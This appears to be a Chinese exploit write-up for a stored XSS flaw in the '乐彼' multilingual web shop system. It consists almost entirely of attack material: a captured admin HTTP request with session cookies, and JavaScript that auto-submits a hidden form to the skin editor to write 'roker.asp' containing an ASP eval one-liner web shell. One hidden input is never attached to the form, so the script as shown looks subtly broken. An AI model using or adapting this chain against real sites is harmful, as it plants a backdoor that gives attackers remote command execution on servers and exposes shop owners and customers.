乐彼多语言网上商店系统 储存型 xss

Host: xxxxxi.cn

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2) Gecko/20100115 Firefox/3.6

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-cn,zh;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7

Keep-Alive: 115

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: [url]http://xxxx.cn/admin/theme/skin_edit.aspx?tid=11&id=0[/url]

Content-Length: 72

Cookie: ASP.NET_SessionId=d3qcv0qequrzzcwznzclvmz5; CheckCodef=35446; Master=id=2&hash=098f6bcd4621d373cade4e832627b4f6&name=test; AdminLoginError=; saveusername=1; AdminUserName=test; Menu=top=5&left=61

X-Forwarded-For: [url]www.baidu.com[/url]

Pragma: no-cache

Cache-Control: no-cache

Name=a&IsPage=0&Code=a&Path_Skin=a&PageName=a.asp&SkinContent=内容&Theme_id=11

thisTHost = top.location.hostname;

thisTHost = "http://" + thisTHost + "/admin/theme/skin_edit.aspx?tid=11&id=0";

function PostSubmit(url, data,name, msg) { 

    var postUrl = url;

    var postData = data; 

    var nameData = name; 

    var msgData = msg; 

    var ExportForm = document.createElement("FORM"); 

    document.body.appendChild(ExportForm); 

    ExportForm.method = "POST"; 

    var newElement = document.createElement("input"); 

    newElement.setAttribute("name", "name"); 

    newElement.setAttribute("type", "hidden"); 

    var newElement2 = document.createElement("input"); 

    newElement2.setAttribute("name", "PageName"); 

    newElement2.setAttribute("type", "hidden"); 

    var newElement3 = document.createElement("input"); 

    newElement3.setAttribute("name", "SkinContent"); 

    newElement3.setAttribute("type", "hidden"); 

    ExportForm.appendChild(newElement); 

    ExportForm.appendChild(newElement2); 

    newElement.value = postData;

    newElement2.value = nameData; 

    newElement3.value = msgData;

    ExportForm.action = postUrl; 

    ExportForm.submit(); 

};

PostSubmit(thisTHost,"a&IsPage=0&Code=a&Path_Skin=a","roker.asp","%3C%25eval+request(123)%25%3E%0D%0A&Theme_id=11");